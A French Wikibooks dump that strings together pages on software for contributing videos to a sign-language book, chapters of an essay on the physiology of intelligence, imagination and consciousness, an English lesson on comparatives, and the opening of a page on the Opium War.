vos fichiers * iMovie - pour editer vos vidéos (préinstallé) * [http://www.v2v.cc/~j/ffmpeg2theora/download.html ffmpeg2theora] - pour convertir vos vidéos en format .ogg * [http://www.videolan.org/vlc/download-macosx.html VLC] - pour prévisualiser vos vidéos avant de les télécharger sur le site Pour les photos : * imagemagick - pour modifier la taille de vos photos (à télécharger, avec Fink) * Aperçu - pour prévisualiser et couper vos photos (préinstallé) Pour vidéos et photos : * [[LSF/Outils|script de conversion]] - pour préparer les vidéos pour le wikibook! == La démarche == # Brancher l'appareil photo sur votre ordinateur et y transferrer les vidéos. ''screenshot'' # Vous voulez probablement éditer vos vidéos avec l'excellent iMovie qui est déjà installé sur votre ordinateur ## Mais... pour certaines appareils photos, il peut être difficile d'importer vos vidéos ".mpg". Il faut utiliser l'outil BBDemux pour séparer la partie vidéo de la partie sonore du fichier. # ''Editer la vidéo en iMovie'' # ''Utiliser le script proposer en [[LSF/Outils]]'' # ''...a écrire'' LSF/Contribuer/Windows 2815 14381 2005-03-06T21:27:50Z Kowey 113 === Windows === * [http://www.videolan.org/vlc/download-windows.html VLC] - un lecteur des vidéos ogg (parmi autre chose) * [http://www.picasa.com/download/index.php Picasa] - un gestionnaire et editeur de photos (malheursement en anglais seulment) * [http://www.microsoft.com/france/windows/xp/experiences/moviemaker/info/info.asp?mar=/france/windows/xp/experiences/moviemaker/info/downloads.html Movie Maker] - un logiciel qui vous permet d'editer des vidéos (Windows XP, aussi livré avec SP2) * [http://www.v2v.cc/~j/ffmpeg2theora/download.html ffmpeg2theora] - un convertisseur des vidéos en format ogg LSF/Contribuer/Linux 2816 14382 2005-03-06T21:30:01Z Kowey 113 == Logiciels libres utiles == * '''Gimp''' Image Editor pour formater et modifier les images (.jpg ou autres) * '''XSan''' Programme d'acquistion d'images, pour le scanner * '''[http://www.v2v.cc/~j/ffmpeg2theora/download.html ffmpeg2theora]''' Programme de conversion de format vidéo (de tout en .ogg) Physiologie de l'imagination et du langage 2819 22224 2005-09-27T15:58:02Z Darkdadaah 440 rv Ce livre expose des recherches en cours sur la physiologie de l’imagination et du langage. Comment ça marche ? Comme ce domaine de recherches est très actif, il n’est pas possible à un seul chercheur d’avoir le recul nécessaire pour connaître et évaluer toutes les avancées récentes. Ce livre présente un point de vue personnel, le mien (TD), et celui d’éventuels co-rédacteurs. Il ne s'agit pas de présenter les dernières découvertes mais de donner un exposé cohérent des principes et de quelques applications. Les questions abordées sont souvent très paradoxales, parce qu’a priori on ne voit pas pourquoi il devrait y avoir un quelconque rapport entre un cerveau et un esprit. Elles sont aussi très controversées et mal comprises. La meilleure réponse à ceux qui croient que les recherches sur l’intelligence artificielle et les neurosciences sont un tombeau pour la psychologie serait de montrer les fruits de ces travaux. Comme ils sont encore balbutiants, on ne peut pour l'instant guère espérer convaincre sur ce sujet quelqu'un qui n'y est pas déjà favorable, mais on peut espérer que l'avancement des sciences changera cela. ==Une théorie générale de l’intelligence et de l’imagination== Ce chapitre expose des principes généraux, empruntés aux sciences de l’artificiel, sur la nature des êtres intelligents. Ils peuvent servir de base pour développer une théorie de l’intelligence rationnelle et pour comprendre le lien entre le cerveau et la raison. ===Une définition de l'intelligence=== [[Physiologie de l’imagination et du langage : une définition de l’intelligence|Texte de cette section]] ===La liaison entre les capteurs et les effecteurs=== [[Physiologie de l’imagination et du langage : la liaison entre les capteurs et les effecteurs|Texte de cette section]] ===Les représentations et l’imagination=== [[Physiologie de l’imagination et du langage : les représentations et l’imagination|Texte de cette section]] ===Le déterminisme et la volonté=== [[Physiologie de l’imagination et du langage : le déterminisme et la volonté|Texte de cette section]] ===Le problème des mécanismes de la conscience=== [[Physiologie de l’imagination et du langage : le problème des mécanismes de la conscience|Texte de cette section]] ==La mémoire et l’apprentissage== Ce chapitre expose des principes pour comprendre la mémoire et l’apprentissage d’une façon matérialiste. ===Qu’est-ce que la mémoire ? Qu’est-ce que l’apprentissage ?=== [[Physiologie de l’imagination et du langage : qu’est-ce que la mémoire ? Qu’est-ce que l’apprentissage ?|Texte de cette section]] ===La plasticité des neurones=== [[Physiologie de l’imagination et du langage : la plasticité des neurones|Texte de cette section]] ===Le rôle de la sélection dans l’apprentissage=== [[Physiologie de l’imagination et du langage : le rôle de la sélection dans l’apprentissage|Texte de cette section]] ===L’utilité des souvenirs=== [[Physiologie de l’imagination et du langage : l’utilité des souvenirs|Texte de cette section]] ==La dynamique de l’imagination== Ce chapitre expose des principes pour comprendre comment les systèmes dynamiques résolvent des problèmes en utilisant des représentations. ==Les usages du langage== Ce chapitre fait suite au précédent. Il s’agit de comprendre plus précisément comment des systèmes dynamiques utilisent à la fois des représentations et des mots pour résoudre des problèmes. Physiologie de l’imagination et du langage : une définition de l’intelligence 2820 14385 2005-03-07T19:18:05Z Thierry Dugnolle 206 Une définition '''Un être est intelligent lorsqu’il est capable d’atteindre des buts difficiles en modifiant son comportement en fonction des circonstances.''' ===Et le sens commun ?=== On peut faire à cette définition beaucoup de reproches et trouver qu’elle est trop large ou trop étroite. La notion d’intelligence est trop riche de significations pour que l’on puisse attendre d’une définition qu’elle les prenne toutes en compte. Cette définition est ici proposée parce qu’elle est assez proche des usages courants, parce qu’elle est assez générale et parce qu’elle semble féconde d’un point de vue théorique. Elle s’écarte des usages courants en qu’elle attribue l’intelligence à de nombreux systèmes pour lesquels cela est habituellement mis en doute : les plantes et les microbes comme tous les êtres vivants, de nombreuses machines, ... ===Pourquoi une définition ?=== La généralité peut être une force parce qu’en rassemblant dans un même domaine d’études de nombreux systèmes, ce qu’on apprend sur les uns peut servir à comprendre les autres. Bien sûr, il faut que tous les systèmes aient quelque chose en commun, et que ce soit substantiel, qu’il y ait de quoi développer une théorie conséquente sur ce sujet. Il me semble que cette condition est ici satisfaite. En particulier je crois que la compréhension du fonctionnement des ordinateurs peut rendre de grands services lorsqu’il s’agit de comprendre l’esprit humain. Par rapport à la nôtre l’intelligence des ordinateurs est très limitée, et elle le restera probablement, mais elle est cependant très remarquable et par certains aspects très semblable à la nôtre, ce qui n’est pas étonnant puisque les êtres humains ont créé les ordinateurs d’après l’image de calculateur qu’ils s’attribuent à eux-mêmes. ===Et le sens moral ?=== La capacité à atteindre des buts, c’est l’efficacité. La réussite est un signe suffisant d’intelligence tant qu’on ne se soucie pas de la valeur des buts atteints. ===Pourquoi des buts difficiles ?=== Il faut préciser que les buts doivent être difficiles, c’est à dire qu’un système pris au hasard n’est pas en général capable d’atteindre de tels buts. Tous les objets lourds atteignent le sol lorsqu’ils sont lachés d’un point élevé mais ils ne sont pas intelligents pour autant. ===Efficacité et infaillibilité=== L’efficacité n’est pas forcément l’infaillibilité. Dès que le taux de réussite est supérieur au taux obtenu par le seul hasard, on peut y voir un signe d’intelligence. Réduire les risques, c’est de l’intelligence. ===Qui est l’auteur des actions ?=== On parle de comportement quand un système peut être considéré comme l’auteur de ses actions. Quand on dit que les ordinateurs sont intelligents parce qu’ils font des choses très difficiles, on entend souvent répondre que les concepteurs des machines et des programmes sont intelligents mais pas les machines elles-mêmes. Celles-ci seraient seulement bêtes et disciplinées. Elles ne peuvent faire que ce qu’on leur dit de faire et rien de plus. Elles ne seraient donc pas intelligentes. Ce raisonnement n’est pas complètement dépourvu de vérité mais il n’est pas concluant. Oui les concepteurs sont beaucoup plus intelligents que leurs machines. Oui en un sens les ordinateurs ne font qu’obéir à des ordres, ils sont programmés et ils ne font qu’exécuter des programmes. Ils sont construits spécialement pour cela. Mais il y a un sens à dire qu’ils font beaucoup plus que ce qu’on leur dit de faire parce qu’ils sont souvent imprévisibles. Le concepteur ne fait que déterminer l’état initial et les autres conditions aux limites de l’exécution d’un programme, mais il ne peut pas imaginer tout ce qui va se passer. Les ordinateurs font des découvertes. Une des premières fois que cela s’est produit, une nouvelle démonstration d’un théorème connu de logique élémentaire, Simon et Newell ont envoyé un article au Journal of symbolic logic en joignant à leur signature celle de leur programme, Logic Theorist, mais cela n’a pas été accepté. Logic Theorist n’a pas protesté. La relative autonomie des ordinateurs est ensuite devenue un phénomène courant : les ordinateurs trouvent des solutions que leurs programmeurs sont incapables d’imaginer. Comment distinguer les systèmes qui sont les auteurs de leurs actions des autres ? Si l’on s’en tient à l’observation des effets, il n’y a pas vraiment de critère. On réserve habituellement cette notion aux êtres vivants mais on peut l’étendre à de nombreux autres systèmes. Il y a un cas où il n’ y a pas beaucoup de sens à considérer que le système est l’auteur de ses actions, c’est celui des automates rigides, comme les horloges, pour lesquels toutes les étapes du mouvement ont été prévues et décidées par les concepteurs et sont toujours exécutées de la même façon et dans le même ordre, sans que l’automate réagisse à son environnement. Cette absence de capacité à s’adapter est d’ailleurs clairement un signe d’absence d’intelligence. Physiologie de l’imagination et du langage : la liaison entre les capteurs et les effecteurs 2821 14386 2005-03-07T19:23:39Z Thierry Dugnolle 206 Création ===Un problème général pour la théorie de l’intelligence=== Pour s’adapter à son environnement, il faut lui être sensible. Très souvent les systèmes sont dotés de capteurs (détecteurs, senseurs, intruments de mesure, ...) Les capteurs des êtres vivants sont les organes des sens. Pour atteindre des buts, il faut agir. Très souvent les systèmes sont dotés d’effecteurs (actuateurs, exécuteurs, n’importe quoi qui peut être commandé et qui peut modifier son environnement). Les effecteurs des êtres vivants sont très variés mais les principaux sont les membres capables d’agir grâce aux muscles qu’ils contiennent. Les notions de capteur et d’effecteur permettent de poser un problème général : que doit-il se passer entre ses capteurs et ses effecteurs pour qu’un système atteigne des buts difficiles ? La séparation entre capteurs et effecteurs n’est pas toujours très nette. Parfois de nombreuses parties du système sont en même temps sensibles et actives. Dans ce cas le problème de l’intelligence prend une forme un peu plus abstraite, que se passe-t-il entre l’information et l’action ? Mais elle est essentiellement équivalente au problème de la liaison entre les capteurs et les effecteurs. La théorie générale de l’intelligence ici abordée consiste à étudier les solutions du problème de la liaison entre les capteurs et les effecteurs (ou de celui du passage de l’information à l’action). ===Capteurs, cerveau, effecteurs=== Pour la plupart des animaux la solution du problème de la liaison entre les capteurs et les effecteurs est leur système nerveux. Les capteurs sont des neurones ou des cellules qui agissent sur des neurones. Ces premiers neurones agissent sur de nombreux neurones intermédiaires qui interagissent les uns avec les autres. Parmi les neurones intermédiaires, certains sont spécialisés dans la commande des effecteurs : ils agissent sur des motoneurones qui innervent les muscles. Il y a d’autres solutions vivantes au problème de la liaison entre les capteurs et les effecteurs que les systèmes nerveux : les plantes en particulier ont de très remarquables facultés d’adaptation. Physiologie de l’imagination et du langage : les représentations et l’imagination 2822 14387 2005-03-08T13:38:23Z Thierry Dugnolle 206 corrections et compléments ===Exemples=== Lorsque la nuit quelqu’un regarde le ciel étoilé, un image du ciel est projetée au fond de chacun de ses yeux. Les photographies, les cartes géographiques et les dessins figuratifs sont aussi des représentations. Plus généralement n’importe quoi peut être une représentation pourvu qu’il serve à représenter quelque chose. On peut inventer des systèmes de codage avec lesquels n’importe quel phénomène peut être utilisé pour représenter n’importe quel autre. ===L’utilisation des informations=== Une représentation est un support d’informations. Le problème de la liaison entre les capteurs et les effecteurs permet de préciser cette notion. Un être reçoit des informations sur d’autres êtres lorsque ses sens lui permettent de s’adapter à eux. Il y a de nombreuses formes de représentation du réel parce qu’il y a de nombreuses façons de s’adapter au réel représenté. Comprendre l’utilisation des représentations est difficile : comment passe-t-on d’une représentation de son environnement aux commandes musculaires qui permettent de s’y déplacer commodément ? Comment passe-t-on de la carte du territoire à la commande des actions ? ===La représentation des fins=== Les systèmes finalisés peuvent représenter les fins qu’ils cherchent à atteindre. Dans ce cas la représentation existe avant ce qu’elle représente. Le problème consiste alors à comprendre comment on passe de la représentation d’une fin aux actions destinées à l’atteindre, du désir aux efforts en vue de son accomplissement. ===La magie de la volonté=== La volonté a quelque chose de magique. Tant qu’on n’est pas trop exigent, il suffit de vouloir pour obtenir. On peut passer d’une façon automatique de la représentation de l’action souhaitée à son exécution. Pour les fins aussi on peut voir la représentation comme un support d’informations, mais il s’agit d’informations hypothétiques sur un but fixé mais pas encore atteint. ===La représentation des possibles=== On peut définir l'imagination par la capacité à faire des projets, à anticiper les conséquences de ses actions et à se décider en fonction de ses prévisions. Avec cette définition les êtres humains sont les animaux dont l'imagination est la plus remarquable, mais d'autres espèces en sont aussi dotées, dans une moindre mesure. Les ordinateurs également sont capables d'anticiper des conséquences pour résoudre des problèmes et font donc preuve d'imagination, au sens qui est défini présentement. Les représentations sont dans ces cas des supports d’informations sur des possibilités. Elles permettent de choisir parmi les possibles ceux qui conviennent le mieux aux fins recherchées. Faire des projets et prévoir des conséquences est une façon d’utiliser des représentations. C’est une méthode générale. On peut l‘appliquer à tous les problèmes concrets. La plupart des animaux n'ont pas ou peu d'imagination et ont en conséquence une efficacité limitée. Ils sont doués pour résoudre un ensemble très réduit de problèmes, ceux qui sont liés directement à leur survie, mais ils sont complètement incompétents dans tous les autres cas. En revanche la puissance de l’imagination n’est pas a priori limitée. Elle peut s'appliquer à tous les problèmes. Elle explique la supériorité technique des humains sur tous les autres animaux. ===La prévision=== Il ne suffit pas d’imaginer des possibilités, il faut être capable de les sélectionner, de choisir les meilleures, et pour cela il faut être capable de prévoir les succès et les échecs. L’imagination est donc une façon très sophistiquée de résoudre le problème de la liaison entre les capteurs et les effecteurs. La représentation de nombreux possibles est efficace seulement si elle est associée à des techniques de prévision. Pour comprendre l’utilisation de ces représentations, il faut comprendre ces techniques. Même des animaux dépourvus d’imagination ont des facultés de prévision, parce que pour optimiser la vivacité de leurs gestes par exemple ils doivent anticiper les réactions de leur environnement. On peut alors supposer que la capacité à examiner des possibles s’est développée après que des capacités d’anticipation se soient perfectionnées pour la rapidité ou pour agir de façon préventive. L’anticipation aurait alors acquis progressivement une nouvelle fonction, non plus anticiper les conséquences des conditions présentes mais celles de conditions imaginées. ===La représentation des êtres abstraits=== La représentation des êtres abstraits est un peu plus difficile à comprendre mais dans ce cas aussi les représentations peuvent être considérées comme des supports d’informations. Les abstractions ont du sens lorsqu’elles sont reliées à des êtres concrets, lorsque les informations sur des êtres abstraits peuvent être utilisées pour agir sur une réalité observable. Les techniques d’utilisation des représentations ne sont pas limitées a priori. Toute nouvelle façon d’utiliser des informations peut introduire de nouvelles formes de représentation. ===L’efficacité technique des représentations=== '''L’efficacité technique en tant que support d’informations fait qu’une représentation est une représentation.''' L’insistance sur l’efficacité peut sembler ici exagérée. Nous avons beaucoup de représentations qui n’ont aucune utilité. Il n’y a pas de sens à parler d’efficacité pour le simple plaisir de la contemplation. Cependant la contemplation est au point de vue biologique une sorte de luxe, ce qui d’ailleurs n’enlève rien à sa valeur. Si on veut comprendre pourquoi les cerveaux produisent les représentations qu’ils produisent, pourquoi ils le font de cette façon et pas autrement, il vaut mieux s’interroger sur l’efficacité des représentations que sur le plaisir de la contemplation, pour la raison suivante. Quand un animal dépense beaucoup d’énergie pour quelque chose, c’est le cas de la production cérébrale des représentations, il y a lieu de s’attendre à ce que cela soit lié à des impératifs de survie, ce qui n’est pas le cas du plaisir de la contemplation. Les représentations conscientes n’ont pas toujours une utilité parce qu’on ne sait pas toujours discerner par avance celles qui en ont et celles qui n’en ont pas. Mais il serait surprenant qu’il y ait des techniques cérébrales de production de représentations qui n’aient systématiquement aucune utilité. La physiologie montre que presque tout dans les êtres vivants joue un rôle dans sa survie. Aborder les problèmes de la nature de l’intelligence, de la représentation et de l’imagination à partir de leur efficacité, c’est en faire des problèmes techniques, c’est les mettre à la portée des méthodes d’études des sytèmes techniques. Comment ça marche ? Physiologie de l’imagination et du langage : le déterminisme et la volonté 2823 14388 2005-03-07T20:45:28Z Thierry Dugnolle 206 Présentation du problème ===Le déterminisme n’est pas incompatible avec une théorie de la volonté=== Au premier abord on croit en général que le déterminisme est incompatible avec la liberté, parce que si tout est écrit d’avance il n’y pas de sens à faire des choix. Quand on choisit, on suppose toujours que l’avenir est ouvert, qu’il y a plusieurs possibilités, qu’il n’est donc pas écrit d’avance. Pour réconcilier le déterminisme et la liberté de choisir il faut se placer à un point de vue plus élevé : nous sommes déterminés à être libres, à délibérer, à choisir, à faire preuve de volonté. De ce point de vue une théorie déterministe des êtres libres n’est pas insensée, pourvu qu’on prenne en compte leur capacité à délibérer. A propos de ce point de vue élevé, Leibniz donnait l’exemple de guerriers dont la réputation était d’aller au combat en croyant que la victoire ou la mort étaient écrites d’avance. Cette croyance était supposée les rendre plus féroces. Autrement dit, ils étaient déterminés par leur croyance à être plus féroces. ===La finalité des mécanismes=== Le problème de l’incompatibilité apparente entre le déterminisme et la volonté libre fait parfois croire qu’une théorie des mécanismes ne peut pas rendre compte de la finalité, parce qu’on suppose par anthropomorphisme qu’un être qui veut des fins est libre de choisir les moyens. On peut pourtant développer une théorie mécanique, déterministe, des systèmes désirants. C’est même quelque chose qui est reconnu par le sens commun, parce que dans l’accomplissement d’un désir, il y a souvent comme une fatalité. Tous les êtres vivants poursuivent des fins et rien n’empêche de croire que les théories déterministes leur soient applicables. Il y a un sens à dire qu’ils poursuivent des fins parce qu’ils s’adaptent à des circonstances très variées pour les atteindre. Dans l’usage courant les limites entre les notions d’appétit, de désir, d’intention et de volonté ne sont pas précisément tracées. Peut-être vaut-il mieux réserver la notion de désir aux systèmes qui ont des émotions conscientes et les notions de volonté et d’intention aux êtres qui sont en plus libres et rationnels, c’est à dire capables de raisonner avant de décider. Mais dans tous les cas, les systèmes poursuivent des fins. Le problème pour une théorie de la volonté ne vient pas de l’incompatibilité superficielle entre le déterminisme et les fins mais de celle entre la matière et la conscience. Physiologie de l’imagination et du langage : le problème des mécanismes de la conscience 2824 14389 2005-03-07T21:17:29Z Thierry Dugnolle 206 Présentation du problème '''Comment un système matériel, mécanique, tel qu’un cerveau, peut-il faire d’un corps une personne consciente et accompagner par son mouvement les mouvements de la conscience ?''' ===La familiarité de la conscience=== Qu’est ce qu’être conscient ? Quand je dis que je suis conscient il me semble que je sais bien ce que je dis. Mais si je dois dire ce qu’est la conscience alors c’est une autre affaire, je ne sais plus très bien. Chacun est familier avec la conscience. Il la connaît simplement parce qu’il a une vie consciente, parce qu’il a des sensations, des émotions, des souvenirs, de l’imagination, des intentions, des pensées. Tels sont les principaux traits de la conscience humaine. ===Les êtres humains sont-ils les seuls êtres conscients ? === On admet généralement la possibilité que d’autres animaux soient conscients, les mammifères en particulier. Mais la frontière entre ce qui est conscient et ce qui ne l’est pas est assez énigmatique : les poissons, les insectes, les plantes, les bactéries sont-ils conscients ? Pour savoir si un insecte est conscient il faudrait savoir précisément ce que c’est qu’être conscient. Il n’y a que les êtres humains dont nous soyons vraiment sûrs qu’ils sont conscients, parce qu’il n’y a que pour eux que nous savons ce que cela veut dire, par familiarité. Descartes supposait que tous les animaux sont des machines sans âme, sauf les êtres humains. La question de Thomas Nagel, ''Qu’est-ce que c’est qu’être une chauve-souris ?'', renvoie également à la familiarité de la conscience : comment savoir ce que c’est qu’être une chauve-souris si l’on n’est pas soi-même une chauve-souris ? Il n’est pas exclu que des formes non-humaines de conscience soient connaissables par des moyens indirects. Cependant, c’est avant tout la conscience humaine que nous devons étudier si nous voulons comprendre la conscience, nous les êtres humains. ===Les mécanismes cérébraux=== Les mécanismes cérébraux ont été partiellement élucidés : on connaît assez bien la nature des signaux produits par les neurones (courants ioniques transmembranaires, intra- ou extra-cellulaires), la façon dont ils sont propagés le long des axones (du fait de la présence de canaux ioniques à seuil de déclenchement) et entre les neurones (libération et réception de neurotransmetteurs, jonctions ioniques, ...). Mais cette connaissance des mécanismes neuronaux semble très éloignée de la compréhension de notre conscience. Nous savons que nous sommes conscients mais nous ne savons pas pourquoi le fonctionnement de nos cerveaux est accompagné de conscience. Dans l’état actuel des connaissances le lien entre la production de signaux neuronaux et la vie consciente reste très mystérieux. Pourquoi le fonctionnement du cerveau est-il accompagné d’une vie consciente ? Pourquoi le fonctionnement d’un moteur de voiture ne l’est-il pas ? On ne connaît les réponses à aucune de ces deux questions. ===La conscience des sensations=== On peut poser le problème de la relation entre les faits physiques et les faits de conscience à propos des sensations. Il faut des yeux pour voir. Il faut des organes sensibles pour sentir. Un corps est sensible lorsque son état dépend d’autres êtres qui agissent sur lui. Par exemple, un oeil est sensible parce que son état d’excitation dépend de la lumière qu’il reçoit. Ainsi entendue la sensibilité n’implique pas la conscience. Tous les instruments de mesure sont sensibles à ce qu’ils mesurent. De façon générale tous les corps sont sensibles. Cézanne disait “je suis une plaque sensible” mais il n’est pas vraisemblable qu’une simple plaque sensible ait une conscience. Pour sentir consciemment il faut des organes sensibles mais cela ne suffit pas. Par exemple, lorsque le lobe occipital de son cerveau a été lésé, le patient est devenu aveugle ou partiellement aveugle alors même que ses yeux continuent à fonctionner normalement. Que faut-il de plus que la simple sensibilité physique pour qu’il y ait une conscience des sensations ? Si l’on se tourne vers les effets du fonctionnement des organes sensibles on rencontre une déception. Les organes des sens contiennent des neurones ou d’autres cellules qui émettent des signaux qui sont reçus par d’autres neurones. Ceux-ci émettent eux-mêmes des signaux qui sont reçus par d’autres neurones ou par les fibres musculaires. Les effets des organes sensibles ce sont toujours des signaux neuronaux. On ne trouve rien qui ressemble à une sensation consciente. Leibniz l’avait remarqué bien avant l’essor des neurosciences cognitives de la conscience : ''on est obligé d’ailleurs de confesser que la perception et ce qui en dépend est inexplicable par des raisons mécaniques, c’est à dire par les figures et par les mouvements. En feignant qu’il y ait une machine, dont la structure fasse penser, sentir, avoir perception, on pourra la concevoir aggrandie en conservant les mêmes proportions, en sorte qu’on y puisse entrer, comme dans un moulin. Et cela posé, on ne trouvera en la visitant au-dedans que des pièces qui se poussent les unes les autres, et jamais de quoi expliquer une perception. (Principes de la philosophie ou Monadologie)'' ===La conscience des actions=== Si l’on se tourne vers l’étude des causes des actions volontaires on rencontre une difficulté semblable. Soit par exemple le geste d’écrire un mot. Il est précédé d’une intention. Cependant les causes mécaniques de l’action ne la révèlent pas. Les muscles reçoivent des signaux de la part des motoneurones qui eux-mêmes reçoivent des signaux de la part des neurones intermédiaires ou des neurones des organes sensibles. Les causes de l’action sont toujours des signaux neuronaux, on ne voit pas où est l’intention. ===Le parallélisme psychophysique=== Entre les organes sensibles et les muscles on ne trouve que des signaux neuronaux. Où sont les faits de conscience, c’est à dire les sensations, les émotions, les souvenirs, l’imagination, les pensées, les intentions ? Peut être que la solution au problème de la relation entre les faits physiques et les faits de conscience passe par la formulation d’une théorie psychophysique, encore inconnue à ce jour. Selon David Chalmers (''The conscious mind''), cette théorie devrait énoncer les conditions requises pour que le fonctionnement d’un système mécanique soit accompagné d’une vie consciente. Il s’agirait d’une sorte de parallélisme psychophysique : les faits de conscience ne sont pas des faits physiques mais ils sont corrélés à des faits physiques. Il s’agit alors de trouver des lois qui permettent de déduire des faits de conscience à partir des faits physiques et inversement. Le parallélisme psychophysique a été proposé par Leibniz en réponse à Descartes. Il est plus proche de l’esprit de la physique moderne que l’hypothèse de l’interaction entre l’âme et le corps faite par Descartes, parce que les lois fondamentales de la physique sont déterministes et qu’elles ne laissent pas de place pour l’intervention d’une âme sur le corps. Selon l’hypothèse du parallélisme psychophysique il y a des correspondants neuronaux pour tous les faits de conscience, pas seulement les sensations et les intentions mais également les émotions, les souvenirs, les rêves, les pensées, ... Ces correspondants neuronaux interviennent dans la préparation de l’action en vertu des seules lois physiques qui gouvernent la dynamique du système nerveux. Une théorie psychophysique générale devrait déterminer pour le fonctionnement de n’importe quel système matériel si oui ou non il est accompagné d’une vie consciente. Elle permettrait donc d’étudier d’autres formes de conscience que la nôtre. Cependant, dans l’ignorance d’une telle théorie, il nous faut commencer par étudier notre conscience, parce que le système nerveux humain est le seul corps pour lequel nous sommes vraiment sûrs que son fonctionnement est accompagné d’une vie consciente. ===Pas de réponses mais un programme=== Il ne faut pas s’étonner que les lois psychophysiques sont encore inconnues. Pour relier des faits de conscience et des faits neuronaux il faut savoir de quels faits neuronaux il s’agit. Comme le fonctionnement du système nerveux n’est encore que très partiellement connu, on ne connait pas, ou pas très bien, les faits neuronaux qu’il faut relier aux faits de conscience. Si l’on veut trouver des lois psychophysiques il vaut peut-être mieux commencer par étudier le fonctionnement du système nerveux. La théorie générale ici abordée, définie par le problème de la liaison entre les capteurs et les effecteurs, ou de façon presque équivalente, par le problème de l’efficacité des représentations, ne prétend pas éclairer le problème de la relation entre la matière et la conscience. On peut étudier l’efficacité des représentations produites par le cerveau sans comprendre pourquoi elles sont accompagnées d’une vie consciente. On peut aussi espérer que ces études nous conduiront à comprendre pourquoi la conscience apparaît dès qu’un cerveau humain fonctionne. Anglais : Comparatifs 2825 44579 2006-06-15T11:20:18Z 84.6.148.167 mot oublié == Comparatifs de supériorité (plus ... que; le plus ...)== === Adjectifs courts === On considère comme adjectifs courts les adjectifs d'une syllabe ou de deux syllabes se terminant par -y.<br />Exemples : happy, young ...<br />1) Le comparatif de superiorité se forme en rajoutant la terminaison -er à l'adjectif ainsi que than pour introduire le comparé. <br /><table WIDTH="100%"><tr><td style="background-color: #F3F3FF; border: solid 1px #D6D6FF; padding: 1em;" valign=top> <center>plus ...(adjectif) que ... = ...(adjectif)-'''er than''' ...</center> </td></tr></table> <br />Exemple : He is younger than his sister. ''Il est plus jeune que sa soeur.''<br /> 2) Le superlatif de supériorité se forme en rajoutant la terminaison -est à l'adjectif. Celui peux également être précédé de ''the''. <br /><table WIDTH="100%"><tr><td style="background-color: #F3F3FF; border: solid 1px #D6D6FF; padding: 1em;" valign=top> <center>le plus ...(adjectif) = (the) ...(adjectif)-'''est''' </center> </td></tr></table> Exemple : He is the youngest. ''Il est le plus jeune.'' * Les adjectifs courts se terminant par -y prennent -ier au comparatif et -iest au superlatif. <br />Exemple : Sleeping is easier than working. ''Dormir est plus facile que travailler.'' Sleeping is the easiest. ''Dormir est le plus facile.'' * Lorsque l'adjectif se termine par un -e, on rajoute simplement -r au comparatif et -st au superlatif. * Lorsque l'adjectif se termine par une consonne précédée d'une voyelle, on double cette consonne. <br />Exemple : This car is the biggest. ''Cette voiture est la plus grosse.'' === Adjectifs longs === Les adjectifs longs sont des adjectifs de deux syllabes non terminés par -y ou des adjectifs de trois syllabes ou plus. 1) Le comparatif de supériorité se forme à l'aide de more suivi de l'adjectif et de than qui introduit le comparant.<br /> <table WIDTH="100%"><tr><td style="background-color: #F3F3FF; border: solid 1px #D6D6FF; padding: 1em;" valign=top> <center>plus ...(adjectif) que ... = '''more''' ...(adjectif) '''than''' ...</center> </td></tr></table><br />Exemple : He is more hard-working than his brother. ''Il est plus travailleur que son frère.'' <BR> 2) Le superlatif de supériorité se forme à l'aide de most (parfois précédé de ''the'') et de l'adjectif.<br /> <table WIDTH="100%"><tr><td style="background-color: #F3F3FF; border: solid 1px #D6D6FF; padding: 1em;" valign=top> <center>le plus ...(adjectif) = (the) '''most''' ...(adjectif) </center> </td></tr></table> Exemple : He is the most intelligent. ''Il est le plus intelligent''. === Formes irrégulières === <table> <tr><td>adjectif</td><td>comparatif</td><td>superlatif</td></tr> <tr><td>good, well (bien)</td><td>better (meilleur)</td><td>(the) best (le meilleur)</td></tr> <tr><td>bad, badly (mauvais)</td><td>worse (pire, plus mauvais)</td><td>(the) worst (le pire, le plus mauvais)</td></tr> <tr><td>old (vieux)</td><td>older/elder (plus vieux)</td><td>(the) oldest, eldest (le plus vieux/l'aîné)</td></tr> <tr><td>far (loin)</td><td>farther (plus loin)</td><td>(the) farthest (le plus loin)</td></tr> <tr><td>much, many (beaucoup)</td><td>more (plus)</td><td>(the) most (plus)</td></tr> <tr><td>little (peu)</td><td>less(moins)</td><td>(the) least (le moins)</td></tr> </table> * Elder et eldest correspondent au français aîné. On emploie elder pour l'aîné de deux personnes et eldest pour l'âîné de plusieurs personnes.<BR>Exemple : Frank is your elder brother. ''Frank est ton frère aîné.'' He is the eldest of this family. ''C'est l'aîné de cette famille.'' == L'infériorité == Il existe deux façons d'exprimer l'infériorité en anglais : not as ... as et less ... than . On emploie le plus souvent la première tournure. === Not as ... as === On peut traduire cette tournure par : ''moins ... que'' ... ou par ''pas aussi ... que''. <table WIDTH="100%"><tr><td style="background-color: #F3F3FF; border: solid 1px #D6D6FF; padding: 1em;" valign=top> <center> moins ...(adjectif) que ... = not as/so ...(adjectif) as ...</center> </td></tr></table> <br /> Exemple : He is not as rich as his friend. ''Il n'est pas aussi riche que son ami.'' === less ... than === <br /><table WIDTH="100%"><tr><td style="background-color: #F3F3FF; border: solid 1px #D6D6FF; padding: 1em;" valign=top> <center>moins ...(adjectif) que ... = less ...(adjectif) than ...</center> </td></tr></table> <br /> On emploie less devant un nom singulier et fewer devant un nom pluriel (dans le language correct).<BR>Exemple : He has less money than before. ''Il a moins d'argent qu'avant.''<BR>He has fewer friends than before. ''Il a moins d'amis qu'avant.'' === the least ... === Pour traduire ''le moins ...'', on emploie the least. <br /><table WIDTH="100%"><tr><td style="background-color: #F3F3FF; border: solid 1px #D6D6FF; padding: 1em;" valign=top> <center>le moins ...(adjectif) = (the) least ...(adjectif) </center> </td></tr></table> <br />Exemple : He is the least brave. ''Il est le moins courageux.'' === the least/the fewest === Pour traduire ''le moins de'', on emploie '''the least''' pour un non singulier et '''the fewest''' pour un nom au pluriel.<br />Exemple : He has made the fewer mistakes. ''Il a fait le moins d'erreur.'' She has the least money. ''Elle a le moins d'argent.'' == Applications == [[Image:Evolution-tasks.png]] [[Anglais:Comparatifs_Test|Exercices sur les comparatifs]] ---- Retour [[Enseignement de l'anglais]] ---- fewest Guerre de l'Opium 2826 39459 2006-04-02T10:04:06Z 87.90.133.134 /* Les hostilités */ LA GUERRE DE L’OPIUM ===La Chine vers la fin des Qing.=== Jusqu’à la fin du XVIIIe siècle, la [[w:Chine|Chine]] semble développée, raffinée (arts et pensée), posséder une économie dynamique. Une société en phase avec ses institutions politiques. Le pays est dirigé par des souverains compétents et éclairés. Mais : Début XIXe, la situation semble différente. Chine vieillit, Nation en déclin, 